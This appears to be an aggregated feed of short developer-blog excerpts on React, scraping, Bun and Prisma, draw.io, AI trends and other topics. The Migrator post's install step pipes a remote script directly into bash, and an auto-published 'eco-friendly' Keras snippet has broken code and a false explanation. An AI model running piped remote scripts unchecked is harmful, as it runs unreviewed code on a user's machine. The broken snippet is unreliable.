Today I continued my Eat-N-Split course project in React — and it was a fun one! opening/closing the Add Friend form and rendering newly added friends dynamically. The main goal of Day 2 was: Show and hide the “Add Friend” form when the user clicks a button. Add a new friend to the list and update the UI instantly. This is a perfect example of React state in action. I used a simple boolean state to toggle the form visibility: const [friendFormIsOpen, setFriendFormIsOpen] = useState(false); And a button that flips it: setFriendFormIsOpen(show => !show)}> {friendFormIsOpen ? "Close" : "Add Friend"} 💡 Fun thing: This tiny little line of code lets you open and close the form with one button. No rocket science, just React magic. ✨ When a new friend is submitted: A new friend object is created with a unique ID, name, image, and a default balance. Then I update the friends state: setFriends(friends => [...friends, newFriend]); The cool part? React instantly re-renders the UI with the new friend without refreshing the page. 🪄 useState is your best friend — literally! Toggling things with a boolean is satisfying. Flip → show, Flip → hide. Adding items to an array in React is as simple as spreading the old array and adding the new item. Watching the new friend appear on the list feels like magic every time. ✨ Tomorrow (or next session), I’ll focus on: Splitting a bill with a selected friend Handling the calculation of balances dynamically Making the app fully interactive  ( 6 min )

La Ley Federal de Prevención e Identificación de Operaciones con Recursos de Procedencia Ilícita-LFPIORPI ha experimentado reformas en 2025, que abordan la prevención y el monitoreo de lavado de dinero y financiamiento del terrorismo. Una de las novedades más relevantes se refiere al monitoreo transaccional de operaciones financieras con el uso de Inteligencia Artificial (IA) y Aprendizaje Automático (ML). De acuerdo con la reforma, los sujetos obligados (como bancos, casas de cambio y otras entidades financieras) deberán implementar sistemas de monitoreo transaccional que utilicen IA y ML para identificar y detectar operaciones sospechosas. Esto se traduce en la necesidad de contar con herramientas y plataformas especializadas que puedan analizar grandes cantidades de datos y tomar decisiones automática y en tiempo real. En este contexto, es relevante mencionar la plataforma de IA AML de TarantulaHawk.ai, que ofrece soluciones de monitoreo transaccional eficaces y escalables para sujetos obligados. Con su plataforma SaaS, es posible realizar un monitoreo más preciso y eficiente de operaciones financieras, lo que reduce el riesgo de incumplimiento y mejora la gestión de riesgos. Implicaciones prácticas para sujetos obligados: Deberán implementar sistemas de monitoreo transaccional que utilicen IA y ML para identificar operaciones sospechosas. Requirirán contar con herramientas y plataformas especializadas que puedan analizar grandes cantidades de datos y tomar decisiones automática y en tiempo real. Mejorarán su gestión de riesgos y reducirán el riesgo de incumplimiento. Es importante destacar que la implementación de estas soluciones requiere un enfoque responsable y ético, asegurando que la IA y el ML sean utilizados de manera transparente y justa, respetando la privacidad y derechos de los usuarios. Publicado automáticamente  ( 6 min )

This is Part 2 of our n8n web scraping series with Zyte API. If you’re new here, check out Part 1 first, it covers the basics: fetching pages, extracting HTML with the HTML node, cleaning + normalizing results, & exporting CSV/JSON. Pagination Infinite Scroll Geolocation support Screenshots from browser rendering Capturing network requests Handling cookies, sessions, headers & IP type In this part, we’ll explore some important scraping practices and nodes, along with a few hands on tricks that make your web scraping journey smoother. Everything you learn here will also lay the foundation for our 3rd & final part, where we will build a universal scraper capable of scraping any website with minimal configuration. Let’s start by taking the same workflow we built in Part 1, & extend it. Beginn…  ( 12 min )

A Tale of Two Frameworks: Declarative vs. Imperative AI As AI continues to advance, autonomous systems have become increasingly sophisticated, with various approaches vying for dominance. In this article, we'll delve into two prominent frameworks: Declarative and Imperative AI. We'll compare their strengths, weaknesses, and real-world applications, ultimately taking a stance on which approach is more effective. Declarative AI: The Knowledge-based Approach Declarative AI, also known as knowledge-based systems, is a declarative programming paradigm that focuses on defining the desired outcome rather than specifying how to achieve it. This approach is based on formal logic and knowledge representation, where the system's behavior is determined by its beliefs about the world. Think of it as pr…  ( 7 min )

‘Snake Eyes’ Rewatch Rundown In the latest Ringer Movies episode, Bill Simmons, Sean Fennessey, and Van Lathan dive back into Brian De Palma’s 1998 thriller Snake Eyes. They unpack Nic Cage’s undercover ballpark espionage, Gary Sinise’s corrupt-cop swagger, and Carla Gugino’s femme-fatale flair. Self-dubbing themselves the “kings of the sewer,” the trio gleefully dissects De Palma’s signature camera moves, plot twists, and the film’s over-the-top ’90s energy. Watch on YouTube  ( 6 min )

In the world of real-time applications, delivering instantaneous updates to users is foundational. From collaborative documents to live chat applications, the ability to instantly reflect changes across all connected clients can make or break the user experience. ThingsDB, with its robust event-driven architecture, offers a powerful solution for achieving this. Traditionally, implementing event-driven updates in a real-time application, like a chat room, often followed a pattern that could lead to unnecessary complexity. Let's break down the classic approach and then explore how ThingsDB's new "emit to peers only" feature simplifies this process. Imagine a simple chat application. When a user sends a message, the desired flow is that the message appears instantly on the users screen, and v…  ( 7 min )

The Multimodal AI Blind Spot: Integrating Sensory Feedback from Wearable Devices Multimodal AI, which combines multiple sources of data such as images, speech, text, and gestures, has revolutionized human-computer interaction. However, there's a growing trend that's often overlooked: integrating sensory feedback from wearable devices into multimodal AI systems. Think about it: wearable devices like smartwatches and fitness trackers can provide valuable insights into a user's physical and emotional state, such as heart rate, skin conductance, and muscle activity. By incorporating these signals into multimodal AI, we can create more empathetic and anticipatory interactions. For instance, imagine a conversational AI that not only responds to a user's speech but also takes into account their physiological signals. If the user is stressed, the AI can adjust its tone and pace to provide more soothing responses. If the user is physically active, the AI can provide sports-related suggestions or recommendations. The takeaway: Wearable devices can serve as a new sensor modality for multimodal AI, enabling more context-aware and empathetic interactions. By exploring the potential of wearable data, we can push the boundaries of human-AI collaboration and unlock new possibilities for applications like healthcare, education, and customer service. Publicado automáticamente  ( 6 min )

This was a fun conversation with Ryan J. Salva Senior Director of Product at Google Cloud, the brains behind Gemini CLI and Gemini Code Assist. We talked about Agents, Agentic Workflows, autonomous cars, industry trends in AI, and how job roles slowly merging, he explained me on how his team at Google is solving and improving the overall developer experience through CLI and Code Assist. Azim Shaik : The one analogy that I really liked is the four stage analogy on how autonomous cars are compared to the AI development that’s happening. Ryan J. Salva : You’ve likely heard of the five stages of autonomous driving. Conceptualized years ago by companies like Apple and Tesla, this framework describes the progression from a car that offers simple lane assistance (Stage 1) to one where you are ju…  ( 12 min )

Forecasting is one of the most powerful capabilities in Tableau. Whether your goal is to predict next quarter’s revenue, anticipate demand, or estimate operational capacity, Tableau’s forecasting engine provides business leaders with actionable, visually intuitive projections. Forecasting is the process of using past and present data to predict future outcomes. Businesses use forecasting to: Trend A trend reflects long-term movement in the data — usually a steady increase or decrease. Example: A company’s quarterly sales increasing year after year. Seasonality Seasonality captures repeating, predictable patterns in data at fixed intervals. Example: Higher retail sales in December. Residuals Residuals are the differences between actual values and their predicted values. They help us underst…  ( 9 min )

Introduction Knowing the calorie count in the food you consume daily can help you maintain a healthy diet. But, manual calorie counting can be difficult, especially for foods without labels. With computer vision, we can now automate calorie estimation for any food. In this tutorial, we’ll build an agent that estimates and tracks your total calorie consumption throughout the day. We will leverage computer vision through the Vision Agents SDK for this. By the end, you’ll be able to point your camera at a portion of food, and the agent will estimate portion size and calories. Vision Agents (explore the code on GitHub) is a framework that enables developers to build real-time voice and video AI applications using any LLM and video edge network. The Vision Agents framework combines a series…  ( 16 min )

Ranking high on Google directly depends on your Core Web Vitals. For me, one of the most impactful thing was this: Preload your LCP Determine what your Largest Contentful Paint element is, and add  ( 6 min )

Back then in HTML, we would use: The browser handles everything automatically. But in React, we don’t let the browser reload the page - we handle it manually. Using onSubmit in React lets you control what happens when the form is submitted: function MyForm() { return ( Submit ); *Why this approach? No page reloads You control the logic Perfect for validations Works well with APIs (fetch/axios) Better user experience *Capturing inputs with useState React uses controlled components: const [name, setName] = useState(""); This gives you full control of the data. React forms felt strange at first, but once you understand onSubmit, preventDefault(), and useState, everything starts to click.  ( 6 min )

Eco-Friendly AI Code Snippet: Resource-aware Neural Network import numpy as np from tensorflow.keras.models import Model def sustainable_model(x_train, x_val): input_layer = keras.Input(shape=(x_train.shape[1],)) model = Sequential([Dense(x_train.shape[1]//4, activation='relu', input_shape=(x_train.shape[1],))]) model.compile(loss='mean_squared_error', optimizer='adam') return Model(inputs=input_layer, outputs=model) This code snippet defines a simple neural network model that incorporates sustainability into its design. Here's what it does: It takes into consideration computational resource usage, a major concern for energy-intensive AI models. The input layer size is reduced using a technique called dimensionality reduction, using x_train.shape[1]//4 instead of the full size. This reduces the computational load while preserving the model's performance to some extent. Optimizer 'adam' is used to ensure fast and efficient model convergence. It compiles the model with a focus on resource efficiency during training. The model can then be trained and validated on smaller input datasets. This snippet showcases a key concept in sustainable AI: designing models that are energy-efficient and computationally light. Publicado automáticamente  ( 6 min )

Healthcare technology is experiencing a revolution, and at its core is a challenge that affects millions of patients daily: getting different systems to talk to each other. In this article, I will explain what healthcare data interoperability is, and how FHIR is changing the game. Healthcare data interoperability is the ability of different healthcare information systems, applications, and devices to exchange, access, and use patient data seamlessly—regardless of the vendor or platform. You can think of it as creating a common language that allows your doctor's EHR (Electronic Health Record) system, the hospital's imaging system, your pharmacy's software, and even your fitness tracker to share information accurately and securely. There are typically four levels of interoperability: Foundat…  ( 10 min )

Major module update! Anthony Max for HMPL.js ・ Nov 17 #webdev #javascript #programming #opensource  ( 5 min )

Hello everyone! In this short article, I'd like to talk about the new versions we recently released. It would seem that the modules are quite utilitarian and there is no particular point in updating them, but nevertheless, it is worth keeping them up to date today, and we will talk about some of the changes in them today. Stay informed! In case you weren't aware, .hmpl actually has its own file extension. Loading it requires loaders, which were created specifically for Vite and WebPack. For these, we've updated the settings validation, which relies on the following types: interface HMPLCompileOptions { memo?: boolean; autoBody?: boolean | HMPLAutoBodyOptions; allowedContentTypes?: HMPLContentTypes; sanitize?: HMPLSanitize; disallowedTags?: HMPLDisallowedTags; sanitizeConfig?: Config; } A small, but also quite interesting update. This module is designed to use templating language syntax without npm or other add-ons. Nothing else is needed, just a single index.html file and that's it. In this update, we've added hmpl-dom.runtime.js. This is also quite an update. They've also updated the README files and other texts everywhere, but that's not really important in the context of releases. You can write your thoughts about the new features in the comments, it will be interesting to read! Or, there is a thematic Discord channel for questions and suggestions, there I or someone else will try to answer! So you can take part in it too! This also means you can use it for commercial purposes: Repo: https://github.com/hmpl-language/hmpl (Star Us ★) https://hmpl-lang.dev https://hmpl-lang.dev/changelog Thank you very much for reading the article!  ( 6 min )

I have been weaving command into my daily workflow quite frequently lately! It all started when I realized I was repeating the same set of requests or questions to claude at specific intervals, the start of the conversation and when I was ready to wrap up and get all the lint and tests passing. As an example of some of the things I would continuously ask claude to make sure they took care of were: In The Start Of Conversations: -use SPARC (see other article) At The End Of Conversations: -ALL tests and lint warnings/errors HAVE to be fixed (sorry to caps out on ya there but I told claude this a whole lotta times!) So in the middle of doing it again I stopped, opened a different claude and asked it to write our first command ... /primer - Quality Engineering Mode Activation Purpose: This com…  ( 8 min )

The $10M question nobody's asking While the industry obsesses over model parameters and training costs, we're collectively ignoring a production bottleneck that's costing organizations millions: inefficient context management. I recently analyzed production LLM deployments across multiple organizations and found something striking: 65-80% of tokens sent to LLMs are redundant, irrelevant, or poorly structured. When you're processing billions of tokens monthly at $0.01-0.06 per 1K tokens, this inefficiency translates to substantial operational waste, not just in dollars, but in latency, throughput, and user experience. Context engineering isn't just optimization, it's foundational infrastructure for production AI systems. And yet, most teams are still treating it as an afterthought. The n…  ( 11 min )

Bun is a fast JavaScript runtime that's been making waves in the developer community. It includes a bundler, test runner, and package manager all in one. In this tutorial, we'll explore how to integrate Prisma ORM with Prisma Postgres in Bun to build a simple HTTP server. The workflow is straightforward: set up Prisma with a Prisma Postgres database, create a simple data model, and build an HTTP server that queries your database. We'll even compile it into a single executable file for deployment. In this tutorial, we'll create a simple user management system with: Type-safe database queries using Prisma A basic HTTP server with Bun Seed data for development A compiled executable for production deployment mkdir bun-prisma cd bun-prisma bun init -y This creates a basic Bun project with a pa…  ( 9 min )

In today's digital landscape, enterprises face mounting pressures to safeguard sensitive information amid evolving regulations. Data breaches not only erode trust but also invite severe financial repercussions. Regulations such as GDPR and HIPAA set stringent standards for handling personal and health data, compelling organizations to adopt proactive measures. Effective data governance & compliance emerges as a cornerstone for maintaining integrity and accountability across vast datasets. Businesses that prioritize data compliance gain a competitive edge by fostering transparency and reliability. This approach minimizes risks associated with non-compliance, which can lead to hefty fines or reputational damage. Data governance involves structured policies and processes that ensure data qua…  ( 10 min )

Nexa Rust Extra, designed by Fontfabric, falls under the Display, Script category & Nexa Rust font family. Its smooth, flowing letterforms make it a versatile choice for projects that require both elegance and readability. Nexa Rust is particularly well-suited for Packaging, Posters and Event Flyers, Apparel and Merchandise and Branding and Logos. With its balance of simplicity and decorative appeal, this font brings a polished touch to both personal and professional designs. https://www.atozfont.com/font/nexa-rust-extra NexaRustExtraFont #Fonts #AtoZFont #AtoZFonts #A2ZFont #A2ZFonts #ttf #otf #Fontdownload #Downloads  ( 6 min )

I'm using draw.io to create diagrams or as part of workshops to visualize ideas or organize information. I almost never print any of the diagrams I'm creating, but the app defaults to a page view. I find that I naturally gravitate to trying to fit things within the default page size and get a bit irritated when pages are automatically added or removed depending on where I move stuff. Fortunately, page view can be disabled in the diagram options by unchecking the checkbox in the diagram menu, or via the View menu. Since I do that for pretty much every diagram, I wondered if there's a better way. Changing the default so that new files start with the whole canvas available is not that difficult once you find the right configuration options. Getting there took me a bit, so I'm writing this quick guide for you (and future me). draw.io allows you to customize your settings from the Extras -> Configuration menu. Next, you're greeted by this beautiful text input field with a JSON document. Here, you can customize the default behavior of draw.io as described in the docs: Configure the draw.io editor. The configuration option for page view is of course not called pageViewEnabled or something like that. Instead, we need to set defaultPageVisible to false. If your configuration block is empty, copy and paste the following: { "defaultPageVisible": false } Next, click Apply and restart draw.io. Any new documents that you create should now start with the full canvas instead of the page view. The other options in my configuration increase the size of the shape thumbnails (a godsend on a large screen) and ensure things get pasted where I want them to be. Anyway, that's it. — Maurice If you're getting the following error (or something like it) when clicking apply, you probably added a comma after the last key-value pair in the JSON document, which it doesn't like: Expected double-quoted property name in JSON at position 105 (line 6 column 1)  ( 7 min )

Vite vs Webpack: A Comparative Analysis Debajit Mallick ・ Feb 14 '24 #vite #webpack #buildtools #webdev  ( 5 min )

Security is not a plugin you add at the end; it is an architectural requirement. In a modern Next.js application, security responsibilities are split between the Edge (Middleware), the Configuration (next.config.js), and the Server Runtime (Server Actions). This guide details a cohesive security strategy using Next.js, Zod (validation), and Bcrypt (cryptography). Before implementing code, ensure your infrastructure meets these baselines: [ ] SSL/TLS: Enforce HTTPS strictly (HSTS). [ ] Content Security Policy (CSP): Restrict data sources to trusted domains. [ ] Database Security: Never concatenate SQL; use ORMs (Prisma/Drizzle) or parameterized queries. [ ] Input Sanitization: Validate data types and length on the server. [ ] Secure Dependencies: regularly run npm audit. In Next.js, securit…  ( 8 min )

CI/CD Pipeline for Amazon EC2 Lasantha Sanjeewa Silva for AWS Community Builders ・ Mar 1 #aws #devops #cloud #cloudcomputing  ( 5 min )

It's November, time to start watching for Black Friday and Cyber Monday Tech Developer deals. I don't hit brick and mortar stores on Friday too crowded and too many years working retail. I will shop online though. What are you building this week? What are you working on this week? Are you attending any events this week? Continue Job Search. Network, Send emails. Redo resume Project work. Content for side project. Work on my own project. Follow Content & Project Calendar for November. Blog I want to blog more often and produce more than I did this time last year. Start searching for Black Friday developer related deals. I'll post them next week. Events. Dads in Tech Thursday * Virtual Coffee. Run a goal setting thread on Virtual Coffee(VC) Slack. 🚧 Continue Job Search. Network, Send emails. Redo resume Project work. ✅Content for side project. Work on my own project. Follow Content & Project Calendar for November. Events. Thursday * Virtual Coffee. ✅ Thursday * Dallas Software Developers meetup (virtual) Night of JavaScript. ✅ Run a goal setting thread on Virtual Coffee(VC) Slack. Noticed I left blogging off of my list. Oh well didn't do any extra blogging anyway last week. What are you building? What are you working on? Are you attending any events this week? Any suggestions for online events this week? Cover image is my LEGO photography. Stitch with fours arms. He's holding a laptop, phone, cookie, and a mug. He's next to a desk with a CRT monitor and keyboard. -$JarvisScript git commit -m "edition 153"  ( 17 min )

You need a portfolio to get hired. But most developers struggle with two problems: deciding what to build, and making their projects look professional enough to impress hiring managers. Hiring managers spend maybe 30 seconds on your portfolio. They're looking for proof you can build complete applications: frontend, backend, database, deployed. If your projects look unpolished or amateur, they move on. What makes a strong full-stack portfolio project? Projects that demonstrate frontend, backend, database, and deployment skills together. Strong projects include real-world features like authentication, search functionality, data validation, and API design. Each project needs live deployment and public source code to prove you can build and ship complete applications. These projects prove you …  ( 25 min )

Discover the most useful AI tools for small businesses in 2025, how they work, and how companies can use them to improve productivity, customer service, and daily operations. Running a small business in 2025 means dealing with fast competition, rising customer expectations, and the pressure to deliver more with fewer resources. The rapid growth of artificial intelligence has become a major support system for small businesses. What once required large teams or expensive software can now be handled with smart, affordable AI tools that simplify operations and improve efficiency. Whether it is automating workflows, generating content, handling customer queries, or analyzing data, AI tools have become essential parts of modern business operations. This article explores the AI tools making the b…  ( 10 min )

Introduction If you’ve ever looked at your Raspberry Pi and wondered “Could I run Windows 11 on this?”, you’re not alone. While the Pi is typically paired with Raspberry Pi OS or other Linux-based systems, it’s surprisingly possible to install and use Windows 11 (ARM64 version) on Raspberry Pi versions such as the Pi 4 and Pi 5. In this blog I’ll walk you through the entire process—what you need, how to set it up, the limitations you’ll face—and share my own experience. Why Install Windows 11 on a Raspberry Pi? Before diving into the how-to, let’s talk about why you might want to do this: You’re familiar with Windows and prefer its interface (Start menu, File Explorer, Microsoft ecosystem) over Linux. You want to test ARM64 Windows apps but don’t have a dedicated ARM laptop; a Pi off…  ( 9 min )

Introduction I've been thinking about the Turing Test again. The classic experiment where a machine "passes" by imitating human conversation now feels… complete. The game has been played and, in many ways, won. But that leaves me with a harder question: Does AI really have intelligence? A few nights ago, I caught a re-broadcast of a Sherlock Holmes-like film Death on the Nile on TV. Watching "Holmes" unravel impossibilities with cool precision, I couldn't help but wonder: What if the next great test for intelligence isn't conversation, but reasoning? Maybe the mystery case, not the chat window, will define the next Turing Test. In 1950, Alan Turing asked a timeless question: "Can machines think?" His "Imitation Game" proposed a provocative challenge: if a computer could convincingly m…  ( 8 min )

Disclaimer Introdução Analisar código de projetos open source de empresas relevantes é uma excelente forma de evoluir suas práticas de desenvolvimento. Neste post, vamos explorar as práticas de testes automatizados do projeto Hollow da Netflix, focando em testes de unidade e integração. A ideia é comparar as práticas que você utiliza no seu contexto com as práticas de projetos mantidos por empresas de referência na indústria de software. Hollow é um projeto open source da Netflix criado para facilitar a transferência de dados ultra rápida entre sistemas, especialmente quando lidamos com volumes gigantes de informação. Uma característica marcante nos testes do Hollow é o esforço investido na construção dos asserts. Por exemplo, no teste HollowRecordJsonStringifierTest, que te…  ( 10 min )

Ever wished you could make an API request without writing a single line of JavaScript? Yeah… me too 😅 fetchtl — a tiny library that lets you do things like: Register That’s it. No JS. No frameworks. No fetch(). Just HTML. As a web developer, I got tired of doing this 100 times: fetch("/api/user") .then(res => res.json()) .then(data => { document.querySelector("#user").innerHTML = data.name; }); Too much boilerplate. Too much repetition. “Just write HTML and let the page fetch automatically.” fetchtl — a tool that gives HTML magical new attributes: $get → Load data from an API $post → Submit a form via AJAX fetchtl is a JavaScri…  ( 7 min )

Bill Simmons, Sean Fennessey, and Van Lathan crawl back into the neon-drenched world of Brian De Palma’s Snake Eyes, basking in Nic Cage’s sweaty swagger, Gary Sinise’s menacing charm, and Carla Gugino’s undercover intrigue. They crown themselves “kings of the sewer,” unpacking that iconic tracking shot, wild conspiracies, and everything that makes this ’98 noir thriller a deliciously over-the-top ride. This episode—produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo—is brought to you by PayPal’s holiday Pay in 4 deal (5% cash back through 12/31). Tune in, get your popcorn, and bask in the chaos. Watch on YouTube  ( 6 min )

What you see in the demo below is ClojureScript UIx app driving native window with ImGui UI via custom React reconciler. Both hot-reloading and REPL-driven development are supported, as you'd expect it from a typical ClojureScript project. The JavaScript side of the app runs in Hermes engine, which exposes ImGui to JS env. However, a release build of this exact app is a fully native 8MB executable. You can try it yourself on macOS or Linux. While Hermes engine is a JavaScript VM, it is also an AOT compiler for JavaScript that emits either Hermes byte code or C. Compiling this sample JavaScript program with Static Hermes: shermes -emit-c index.js print(1 + globalThis.value); outputs the following C program or 50KB executable, when compiled straight into a binary shermes -Os index.js locals…  ( 8 min )

How I refactored a monolithic Firebase service into clean, testable, and reusable utility modules without breaking production? After transforming my Firebase notification service from synchronous to queue-based architecture (covered in Part 1), I faced a new problem: my firebase.service.ts had grown to 1,500+ lines of tangled business logic. Finding a specific function required scrolling through hundreds of lines. Adding a feature meant understanding unrelated code. Testing? Nearly impossible. Here's how I systematically refactored this monolith into clean, reusable utility modules without breaking production. After implementing the queue-based architecture, my service file had become a kitchen sink of functionality: // firebase.service.ts - The 1,500-line monster @Injectable() export clas…  ( 21 min )

Today, we are excited to announce that we have released the long-awaited Pruna 0.3.0. We’ve restructured our internal framework to make algorithm management more flexible and scalable, setting the stage for even more powerful algorithm support going forward. Why the Refactor In previous versions, certain algorithm groups — such as cachers or quantizers — were tightly coupled to the package’s structure. This rigid grouping made it difficult to introduce new types of algorithms or to combine them in flexible ways. Starting with Pruna 0.3.0, we’ve reworked this system so that such classifications are no longer hard constraints. Instead, they now serve as supplementary metadata, enabling a more modular, composable, and future-proof design. This refactor lays the groundwork for integrating ne…  ( 8 min )

Hello DEV community! I'm Prathamesh Deshmukh, and I'm excited to finally share a project I've been meaning to build for years. Back in 2018, I wrote a preprint titled "Transformation of the pixels in Tupper's self-referential formula." It's based on the famous formula by Tupper that plots a bitmap of itself. But as I noted in my preprint, the self-plotting isn't the only amazing part. The formula can actually plot every possible $$106 \times 17$$ pixel combination. This led me to my core research question: "If there is some graphical formation at a particular value of k, then what can be done to change the graphical formation or to change its position?" My preprint (which you can find in the repo) was my answer to that question. I showed that you can perform all sorts of transformations—an…  ( 7 min )

TapThing gives you one “Ting” per day — a small photo prompt like: “What’s the first thing you saw today?” “Show your desk right now.” “Your current weather.” “Something blue around you.” Every Ting comes with its own expiration time. If you post, you unlock everyone else’s photos for that Ting. No comments. The goal: make sharing effortless, remove social pressure, and create a daily moment everyone experiences together — but with a clear deadline that keeps things fun and ephemeral. If you want to try the beta, I’d love feedback on: the expiration-based posting loop ephemeral feed design daily prompt pacing Happy to answer questions!  ( 6 min )

Hey Dev Community! Building for the web today feels like walking into a giant supermarket: PHP, Rails, Buffalo, Node.js (Nest, Fastify, Express), Laravel, Symfony, Fiber… and you’re standing there like, “Which one won’t make me cry at 3 AM?” Let’s break it down—fun, simple, and without brain crashes. Old but gold. Easy to start, tons of tutorials, and powers WordPress. Downsides: can feel messy if you don’t follow structure. Best for: quick projects, CMS, and classic web apps. Convention over configuration = less boilerplate. Great for startups and MVPs. Downsides: performance can lag for huge apps. Best for: rapid prototyping, developer happiness. Go language = speed + simplicity. Buffalo gives you scaffolding, routing, and dev tools. Downsides: smaller ecosystem compared to Node or PHP. Best for: performance-focused apps, APIs. TypeScript-first, structured, modular. Feels like Angular for the backend. Best for: enterprise-grade apps. Fastify Super fast, low overhead. Best for: APIs with high performance needs. Express Minimalist, flexible, huge community. Best for: beginners, quick servers, custom setups. Modern PHP framework with elegant syntax. Built-in tools: authentication, migrations, queues. Best for: full-stack apps, clean architecture. Enterprise-level, highly modular. Powers big projects like Drupal. Best for: complex, large-scale applications. Inspired by Express, but in Go. Lightning fast, minimalistic. Best for: APIs where performance is king. There’s no single “best” framework—it’s about your project, your team, and your sanity. Want speed? Go + Fiber/Buffalo. Want structure? Nest.js or Symfony. Want quick results? Rails or Laravel. Want simplicity? Express or plain PHP. Pick your weapon wisely, and remember: the best framework is the one that helps you ship without crashing your brain. Which framework is your favorite and why? Drop it in the comments—I’m curious to see which weapon you trust in battle!  ( 7 min )

Yesterday, I completed a Media Library migration to Content Hub in a project, and I thought it would be great to share the complete experience here. As most of you already know, Media Libraries have been officially sunset in Xperience by Kentico. Their related API members are now marked as obsolete, and support will end on July 24, 2026. After that date, the entire feature and associated APIs will be removed. If your project still relies on Media Libraries, it’s the right time to start planning your migration. In our case, the client’s application was still using Media Libraries extensively, so we took the opportunity to move everything to Content Hub and adopt Content Item Assets, which is now the recommended and future-ready approach for managing media files in Kentico. Media Libraries h…  ( 9 min )

A 404 page is shown when a user tries to open a page that doesn’t exist. This is perfect for beginners and helps you understand: 🛠 🔧 Tech Used 📌 ✨ Features 🚀 Live Demo 👉 [View Live Project]https://haripriya1227.github.io/Error-Page-404/ 🗂 GitHub Repository https://github.com/haripriya1227/Error-Page-404 💬 About The page features a bold “404” heading, a short message, and a button to return to the homepage. I’d love to hear your thoughts, suggestions, or feedback! 😊  ( 6 min )

ClickHouse is one of those databases that everyone gets excited about after their first benchmark. It’s absurdly fast, column-oriented, and built for analytics at scale. It’s also surprisingly easy to plug into an existing stack. You can stream data from Postgres, Mongo, S3, or pretty much anywhere. That’s what makes it so appealing. You hit the point where your Postgres queries start to struggle, you don’t want to rebuild everything, so you drop in ClickHouse and suddenly your dashboard loads in milliseconds. It’s like putting a turbocharger on your reporting. ClickHouse is also improving at a crazy pace. Every month they roll out new features, bug fixes and faster queries. But with speed comes responsibility. ClickHouse is a beast. It’ll reward you when you treat it well, but it’ll bite …  ( 9 min )

Finding a job today is all about speed and context. Candidates want instant updates, minimal friction, and a way to stay connected without constantly refreshing platforms. This is where Telegram bots come in — and why SkillHunt integrates them directly into the job-search flow. Telegram has become a default communication channel for tech professionals, especially in fast-moving markets like Web3 and startups. Notifications are instant, onboarding is simple, and users don’t need to install anything extra. For job seekers, this means: Immediate job alerts Quick access to new roles Zero noise — just relevant updates Staying connected without opening the website SkillHunt leverages its Telegram bot to extend the platform beyond the browser: Real-time job notifications: Candidates choose categories (tech, Web3, remote) and instantly receive new matching roles. Lightweight onboarding: Users can register interest or save roles directly from the bot. Fast re-engagement: Instead of waiting for emails, people get updates where they actually communicate. Community layer: The bot connects users with SkillHunt channels, mentors, and upcoming features like interview prep reminders. Telegram becomes an extension of the SkillHunt funnel, improving activation and retention. Candidates stay engaged, companies get faster responses, and the platform builds trust by staying transparent and accessible. A job platform shouldn’t be limited to a website. By integrating a Telegram bot, SkillHunt meets users where they already are — making the job search faster, simpler, and more human.  ( 6 min )

If you’ve ever tried setting up Alembic, you probably went through this cycle: create a migrations folder edit alembic.ini modify env.py manually import your models configure database URLs hope it works And when it finally runs, you pray nothing breaks when you update your models again. I hated this. Introducing Migrator — A Zero-Config Migration CLI for Python Migrator brings Django-like migrations to FastAPI and Flask. No configuration. Just migrations that work. ❌ Before Migrator: Alembic Setup Pain Traditional Alembic workflow: alembic init migrations edit alembic.ini edit env.py import models, configure engine hope it works If you've done it, you know how fragile this is. ✅ After Migrator: Pure Simplicity migrator init That’s it. No configs. No patches. No manual imports. It just works. ✔️ Finds your models automatically This means you keep the power of Alembic, without any of the setup. 🎉 Why Migrator Rocks Zero configuration Auto-discovery of models & metadata Framework-agnostic (FastAPI, Flask, Django, SQLAlchemy) Django-like workflow Production-ready (powered by Alembic) 🧪 Quick Start Install: curl -sSL https://raw.githubusercontent.com/Adelodunpeter25/migrator/main/install.sh | bash Initialize: migrator init Create first migration: migrator makemigrations "initial" Apply: migrator migrate Done. Python needed a migration tool like this. FastAPI and Flask are amazing frameworks — but Alembic setup has always been a huge barrier for beginners and even experienced devs. Migrator removes the friction so you can focus on building, not fighting config files. If you want migrations that work like Django, without switching ecosystems, give Migrator a try. GitHub • PyPI • Docs I would love feedback, suggestions, and contributors, this is just the beginning. Happy coding!  ( 7 min )

When people talk about “electronics in 2025”, they often focus on AI, But in the embedded world — the world behind factories, hospitals, kiosks, After reviewing dozens of new hardware platforms, display modules, broad, deep shift Below are the trends I believe are reshaping the industry — from Android SBCs to display technology, edge AI, and industrial design. For years, Linux SBCs dominated control panels. Qt-based HMIs were everywhere. But times changed. Since 2024–2025, Android SBCs have slowly but steadily taken over: Developers are simply faster on Android Customers demand better UI They want apps that feel like a smartphone. Touch interactions became standard China-based panel + CPU bundles drastically lowered cost 30–40% cheaper than 5 years ago. App ecosystem compatibil…  ( 8 min )

Scaling​‍​‌‍​‍‌ your SaaS product quickly and making it successful is the dream of every indie builder. However, to move from just having a great idea to actually building a scalable product, you need to make smart decisions and have the right kind of support. The road leading to fast growth and an eventual safe exit can be quite intimidating if you do not have the right resources available and do not know where to look. In this article I’ve manually handpicked 9 SaaS tools that are created specifically for the needs of indie builders who are eager to scale quickly and increase the product value. These tools cover a wide spectrum of areas like automation, user engagement, infrastructure, and analytics thus they allow users to boost the growth, and make the product attractive to the buyers.…  ( 9 min )

I’ve been using a Synology NAS at home for quite a while. But recently my work started involving multiple cloud platforms like Google Drive, AWS S3, and Cloudflare R2. That’s when I discovered Rclone. CLI‑based tool, it wasn’t very friendly for someone like me. RcloneView — and wow, this tool really made my life easier. It’s still a relatively new app, so the UX and feature set are evolving. multiple clouds and NAS in one place, it’s already incredibly useful. I downloaded it from rcloneview.com/download. I’m using the Windows version. After installation I launched it — and boom. Synology NAS on the local network and asked if I wanted to connect. WebDAV setup Since I also need to access my NAS from outside my home, I chose a WebDAV connection — easy and stable. If you want a more detaile…  ( 10 min )

